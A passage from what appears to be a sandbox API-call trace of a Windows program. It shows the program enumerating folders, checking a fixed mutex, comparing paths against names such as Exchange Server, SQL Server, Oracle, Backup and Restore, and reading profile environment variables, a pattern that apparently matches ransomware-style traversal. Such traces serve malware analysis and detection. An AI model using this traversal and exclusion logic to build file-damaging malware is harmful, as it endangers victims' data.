(pMem=0x557b78) returned 0x440004 [0059.309] GlobalUnlock (hMem=0x440004) returned 0 [0059.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0059.309] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.309] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.309] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0059.309] GetLastError () returned 0x12 [0059.309] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.309] GlobalLock (hMem=0x440004) returned 0x550170 [0059.309] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.309] GlobalUnlock (hMem=0x440004) returned 0 [0059.309] GlobalLock (hMem=0x440004) returned 0x550170 [0059.309] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.309] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.309] GlobalUnlock (hMem=0x440004) returned 0 [0059.309] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.309] GlobalUnlock (hMem=0x44000c) returned 0 [0059.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0059.309] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0059.309] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.309] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.310] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.310] GlobalUnlock (hMem=0x44000c) returned 0 [0059.310] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.310] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.310] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.310] GlobalUnlock (hMem=0x44000c) returned 0 [0059.310] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.310] GlobalUnlock (hMem=0x440004) returned 0 [0059.310] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.310] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.310] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.310] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.310] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.310] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.310] GlobalUnlock (hMem=0x440004) returned 0 [0059.310] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.310] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.310] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.310] GlobalUnlock (hMem=0x440004) returned 0 [0059.310] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.310] GlobalUnlock (hMem=0x44000c) returned 0 [0059.310] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.310] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.310] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.310] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.310] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.310] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.310] GlobalUnlock (hMem=0x44000c) returned 0 [0059.311] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.311] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.311] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.311] GlobalUnlock (hMem=0x44000c) returned 0 [0059.311] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.311] GlobalUnlock (hMem=0x440004) returned 0 [0059.311] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.311] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.311] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.311] GlobalUnlock (hMem=0x440004) returned 0 [0059.311] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.311] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.311] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.311] GlobalUnlock (hMem=0x440004) returned 0 [0059.311] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.311] GlobalUnlock (hMem=0x44000c) returned 0 [0059.311] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.311] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", len=0x47 | out: pbstr=0x18ea84*="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned 1 [0059.311] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.311] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.311] GlobalUnlock (hMem=0x44000c) returned 0 [0059.311] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.311] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.311] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.311] GlobalUnlock (hMem=0x44000c) returned 0 [0059.312] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.312] GlobalUnlock (hMem=0x440004) returned 0 [0059.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쁰R쁄R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.312] GetLastError () returned 0x3 [0059.312] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@뾴R企@\x18䄌Q\x181")) returned 0xffffffff [0059.313] GetLastError () returned 0x2 [0059.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@쏬R企@\x18?T\x18;")) returned 0xffffffff [0059.313] GetLastError () returned 0x2 [0059.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0059.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@뾴R企@\x18?T\x18D")) returned 0xffffffff [0059.314] GetLastError () returned 0x2 [0059.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0059.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0059.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@쏬R企@\x18Q\x18j")) returned 0xffffffff [0059.314] GetLastError () returned 0x2 [0059.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0059.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0059.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0059.315] GetLastError () returned 0x2 [0059.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0059.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0059.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0059.316] GetLastError () returned 0x2 [0059.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0059.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0059.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0059.316] GetLastError () returned 0x2 [0059.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0059.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0059.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0059.317] GetLastError () returned 0x2 [0059.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0059.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0059.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@ꜤR企@\x18?T\x18\x8f")) returned 0xffffffff [0059.317] GetLastError () returned 0x2 [0059.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0059.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0059.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x559b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a990, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x55bb98, cFileName="㪀P\xfdee㰒", cAlternateFileName="嶌U䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0059.318] GetLastError () returned 0x2 [0059.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0059.318] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.318] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.318] GlobalUnlock (hMem=0x440004) returned 0 [0059.318] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.318] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.318] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.318] GlobalUnlock (hMem=0x440004) returned 0 [0059.318] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.318] GlobalUnlock (hMem=0x44000c) returned 0 [0059.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.319] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.319] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0059.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.319] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.319] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: 